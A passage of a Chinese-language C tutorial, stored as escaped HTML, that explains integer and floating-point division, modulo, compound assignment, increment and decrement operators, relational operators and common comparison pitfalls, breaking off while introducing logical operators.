class=\"comment\"\u003e// 输出 1.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,尽管变量\u003ccode\u003ex\u003c/code\u003e的类型是\u003ccode\u003efloat\u003c/code\u003e(浮点数),但是\u003ccode\u003e6 / 4\u003c/code\u003e得到的结果是\u003ccode\u003e1.0\u003c/code\u003e,而不是\u003ccode\u003e1.5\u003c/code\u003e。原因就在于 C 语言里面的整数除法是整除,只会返回整数部分,丢弃小数部分。\u003c/p\u003e\u003cp\u003e如果希望得到浮点数的结果,两个运算数必须至少有一个浮点数,这时 C 语言就会进行浮点数除法。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003efloat\u003c/span\u003e x = \u003cspan class=\"number\"\u003e6.0\u003c/span\u003e / \u003cspan class=\"number\"\u003e4\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 或者写成 6 / 4.0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%f\\n\u0026#34;\u003c/span\u003e, x); \u003cspan class=\"comment\"\u003e// 输出 1.500000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e6.0 / 4\u003c/code\u003e表示进行浮点数除法,得到的结果就是\u003ccode\u003e1.5\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e下面是另一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e score = \u003cspan class=\"number\"\u003e5\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003escore = (score / \u003cspan class=\"number\"\u003e20\u003c/span\u003e) * \u003cspan class=\"number\"\u003e100\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的代码,你可能觉得经过运算,\u003ccode\u003escore\u003c/code\u003e会等于\u003ccode\u003e25\u003c/code\u003e,但是实际上\u003ccode\u003escore\u003c/code\u003e等于\u003ccode\u003e0\u003c/code\u003e。这是因为\u003ccode\u003escore / 20\u003c/code\u003e是整除,会得到一个整数值\u003ccode\u003e0\u003c/code\u003e,所以乘以\u003ccode\u003e100\u003c/code\u003e后得到的也是\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e为了得到预想的结果,可以将除数\u003ccode\u003e20\u003c/code\u003e改成\u003ccode\u003e20.0\u003c/code\u003e,让整除变成浮点数除法。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003escore = (score / \u003cspan class=\"number\"\u003e20.0\u003c/span\u003e) * \u003cspan class=\"number\"\u003e100\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(4)\u003ccode\u003e%\u003c/code\u003e\u003c/p\u003e\u003cp\u003e运算符\u003ccode\u003e%\u003c/code\u003e表示求模运算,即返回两个整数相除的余值。这个运算符只能用于整数,不能用于浮点数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e6\u003c/span\u003e % \u003cspan class=\"number\"\u003e4\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e负数求模的规则是,结果的正负号由第一个运算数的正负号决定。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e11\u003c/span\u003e % \u003cspan class=\"number\"\u003e-5\u003c/span\u003e \u003cspan class=\"comment\"\u003e// 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e-11\u003c/span\u003e % \u003cspan class=\"number\"\u003e-5\u003c/span\u003e \u003cspan class=\"comment\"\u003e// -1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e-11\u003c/span\u003e % \u003cspan class=\"number\"\u003e5\u003c/span\u003e \u003cspan class=\"comment\"\u003e// -1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,第一个运算数的正负号(\u003ccode\u003e11\u003c/code\u003e或\u003ccode\u003e-11\u003c/code\u003e)决定了结果的正负号。\u003c/p\u003e\u003cp\u003e(5)赋值运算的简写形式\u003c/p\u003e\u003cp\u003e如果变量对自身的值进行算术运算,C 语言提供了简写形式,允许将赋值运算符和算术运算符结合成一个运算符。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e+=\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003e-=\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003e*=\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003e/=\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%=\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e下面是一些例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ei += \u003cspan class=\"number\"\u003e3\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 等同于 i = i + 3\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ei -= \u003cspan class=\"number\"\u003e8\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 等同于 i = i - 8\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ei *= \u003cspan class=\"number\"\u003e9\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 等同于 i = i * 9\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ei /= \u003cspan class=\"number\"\u003e2\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 等同于 i = i / 2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ei %= \u003cspan class=\"number\"\u003e5\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 等同于 i = i % 5\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"自增运算符,自减运算符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E8%87%AA%E5%A2%9E%E8%BF%90%E7%AE%97%E7%AC%A6%EF%BC%8C%E8%87%AA%E5%87%8F%E8%BF%90%E7%AE%97%E7%AC%A6\" class=\"headerlink\" title=\"自增运算符,自减运算符\"\u003e\u003c/a\u003e自增运算符,自减运算符\u003c/h3\u003e\u003cp\u003eC 语言提供两个运算符,对变量自身进行\u003ccode\u003e+ 1\u003c/code\u003e和\u003ccode\u003e- 1\u003c/code\u003e的操作。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e++\u003c/code\u003e:自增运算符\u003c/li\u003e\u003cli\u003e\u003ccode\u003e--\u003c/code\u003e:自减运算符\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ei++; \u003cspan class=\"comment\"\u003e// 等同于 i = i + 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ei--; \u003cspan class=\"comment\"\u003e// 等同于 i = i - 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这两个运算符放在变量的前面或后面,结果是不一样的。\u003ccode\u003e++var\u003c/code\u003e和\u003ccode\u003e--var\u003c/code\u003e是先执行自增或自减操作,再返回操作后\u003ccode\u003evar\u003c/code\u003e的值;\u003ccode\u003evar++\u003c/code\u003e和\u003ccode\u003evar--\u003c/code\u003e则是先返回操作前\u003ccode\u003evar\u003c/code\u003e的值,再执行自增或自减操作。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e42\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e j;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ej = (i++ + \u003cspan class=\"number\"\u003e10\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// i: 43\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// j: 52\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ej = (++i + \u003cspan class=\"number\"\u003e10\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// i: 44\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// j: 54\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,自增运算符的位置差异,会导致变量\u003ccode\u003ej\u003c/code\u003e得到不同的值。这样的写法很容易出现意料之外的结果,为了消除意外,可以改用下面的写法。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/* 写法一 */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ej = (i + \u003cspan class=\"number\"\u003e10\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ei++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/* 写法二 */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ei++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ej = (i + \u003cspan class=\"number\"\u003e10\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003ei\u003c/code\u003e的自增运算与返回值是分离的两个步骤,这样就不太会出错,也提高了代码的可读性。\u003c/p\u003e\u003ch3 id=\"关系运算符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%85%B3%E7%B3%BB%E8%BF%90%E7%AE%97%E7%AC%A6\" class=\"headerlink\" title=\"关系运算符\"\u003e\u003c/a\u003e关系运算符\u003c/h3\u003e\u003cp\u003eC 语言用于比较的表达式,称为“关系表达式”(relational expression),里面使用的运算符就称为“关系运算符”(relational operator),主要有下面6个。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e\u0026gt;\u003c/code\u003e 大于运算符\u003c/li\u003e\u003cli\u003e\u003ccode\u003e\u0026lt;\u003c/code\u003e 小于运算符\u003c/li\u003e\u003cli\u003e\u003ccode\u003e\u0026gt;=\u003c/code\u003e 大于等于运算符\u003c/li\u003e\u003cli\u003e\u003ccode\u003e\u0026lt;=\u003c/code\u003e 小于等于运算符\u003c/li\u003e\u003cli\u003e\u003ccode\u003e==\u003c/code\u003e 相等运算符\u003c/li\u003e\u003cli\u003e\u003ccode\u003e!=\u003c/code\u003e 不相等运算符\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e下面是一些例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ea == b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ea != b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ea \u0026lt; b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ea \u0026gt; b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ea \u0026lt;= b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ea \u0026gt;= b;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e关系表达式通常返回\u003ccode\u003e0\u003c/code\u003e或\u003ccode\u003e1\u003c/code\u003e,表示真伪。C 语言中,\u003ccode\u003e0\u003c/code\u003e表示伪,所有非零值表示真。比如,\u003ccode\u003e20 \u0026gt; 12\u003c/code\u003e返回\u003ccode\u003e1\u003c/code\u003e,\u003ccode\u003e12 \u0026gt; 20\u003c/code\u003e返回\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e关系表达式常用于\u003ccode\u003eif\u003c/code\u003e或\u003ccode\u003ewhile\u003c/code\u003e结构。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (x == \u003cspan class=\"number\"\u003e3\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;x is 3.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,相等运算符\u003ccode\u003e==\u003c/code\u003e与赋值运算符\u003ccode\u003e=\u003c/code\u003e是两个不一样的运算符,不要混淆。有时候,可能会不小心写出下面的代码,它可以运行,但很容易出现意料之外的结果。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (x = \u003cspan class=\"number\"\u003e3\u003c/span\u003e) ...\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,原意是\u003ccode\u003ex == 3\u003c/code\u003e,但是不小心写成\u003ccode\u003ex = 3\u003c/code\u003e。这个式子表示对变量\u003ccode\u003ex\u003c/code\u003e赋值\u003ccode\u003e3\u003c/code\u003e,它的返回值为\u003ccode\u003e3\u003c/code\u003e,所以\u003ccode\u003eif\u003c/code\u003e判断总是为真。\u003c/p\u003e\u003cp\u003e为了防止出现这种错误,有的程序员喜欢将变量写在等号的右边。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"number\"\u003e3\u003c/span\u003e == x) ...\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这样的话,如果把\u003ccode\u003e==\u003c/code\u003e误写成\u003ccode\u003e=\u003c/code\u003e,编译器就会报错。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/* 报错 */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"number\"\u003e3\u003c/span\u003e = x) ...\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e另一个需要避免的错误是,多个关系运算符不宜连用。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ei \u0026lt; j \u0026lt; k\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,连续使用两个小于运算符。这是合法表达式,不会报错,但是通常达不到想要的结果,即不是保证变量\u003ccode\u003ej\u003c/code\u003e的值在\u003ccode\u003ei\u003c/code\u003e和\u003ccode\u003ek\u003c/code\u003e之间。因为关系运算符是从左到右计算,所以实际执行的是下面的表达式。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e(i \u0026lt; j) \u0026lt; k\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面式子中,\u003ccode\u003ei \u0026lt; j\u003c/code\u003e返回\u003ccode\u003e0\u003c/code\u003e或\u003ccode\u003e1\u003c/code\u003e,所以最终是\u003ccode\u003e0\u003c/code\u003e或\u003ccode\u003e1\u003c/code\u003e与变量\u003ccode\u003ek\u003c/code\u003e进行比较。如果想要判断变量\u003ccode\u003ej\u003c/code\u003e的值是否在\u003ccode\u003ei\u003c/code\u003e和\u003ccode\u003ek\u003c/code\u003e之间,应该使用下面的写法。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ei \u0026lt; j \u0026amp;\u0026amp; j \u0026lt; k\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"逻辑运算符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E9%80%BB%E8%BE%91%E8%BF%90%E7%AE%97%E7%AC%A6\" class=\"headerlink\" title=\"逻辑运算符\"\u003e\u003c/a\u003e逻辑运算符\u003c/h3\u003e\u003cp\u003e逻辑运算符提供逻辑判断功能,用于构建更复杂的表达式,主要有下面三个运算符。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e!\u003c/code\u003e:否运算符(改变单个表达式的真伪)。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e\u0026amp;\u0026amp;\u003c/code\u003e:与运算符(两侧的表达式都为真,则为真,否则为伪)。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e||\u003c/code\u003e:或运算符(两侧至少有一个表达式为真,则为真,否则为伪)。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e下面是与运算符的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (x \u0026lt; \u003cspan class=\"number\"\u003e10\u003c/span\u003e \u0026amp;\u0026amp; y \u0026gt; \u003cspan class=\"number\"\u003e20\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Doing something!\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,只有\u003ccode\u003ex 